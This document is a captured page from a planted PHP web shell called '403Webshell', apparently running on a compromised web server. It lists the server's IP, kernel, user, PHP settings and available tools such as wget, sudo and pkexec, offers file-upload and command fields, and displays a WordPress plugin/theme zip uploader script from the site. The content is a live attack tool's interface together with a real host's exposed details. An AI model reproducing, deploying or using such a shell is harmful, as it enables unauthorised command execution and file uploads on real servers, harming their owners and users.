403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)hsihk.com/wp-admin/uploader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)hsihk.com/wp-admin/uploader/upload.php
<?php
require_once('admin.php');

if (isset($_POST['upload_plugin']) || isset($_POST['upload_theme']))
{
    $err_title = __('WordPress Failure Notice');
    $err_redirect = '<p><a href="' . remove_query_arg(wp_get_referer()) . '">' . __('Please try again.') . '</a></p>';
    if (isset($_POST['upload_theme']) && check_admin_referer('upload-theme'))
    {
        if ( !current_user_can('edit_themes') )
            wp_die('<p>'.__('You do not have sufficient permissions to upload templates for this blog.').'</p>');
        $target_dir = 'themes';
        $location = 'themes.php';
    } elseif (isset($_POST['upload_plugin']) && check_admin_referer('upload-plugin'))
    {
        if ( !current_user_can('edit_plugins') )
            wp_die('<p>'.__('You do not have sufficient permissions to upload plugins for this blog.').'</p>');
        $target_dir = 'plugins';
        $location = 'plugins.php';
    } else {
        wp_die('<p>' . __('Error: Uploading failed. Not enough parameters.') . '</p>'.$err_redirect, $err_title);
    }

    $afile = wp_handle_upload($_FILES['package'], array('test_form' => false));
    $dest_path = ABSPATH.'/wp-content/' . $target_dir;

    require_once('pclzip.lib.php');
    $archive = new PclZip($afile['file']);
    if ($archive->extract(PCLZIP_OPT_PATH, $dest_path) == 0) {
        unlink($afile['file']);
        wp_die(__("Can't unpack zip-file: ").$archive->errorInfo(true) . $err_redirect, $err_title);
    } else {
        unlink($afile['file']);
        wp_redirect($location);
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit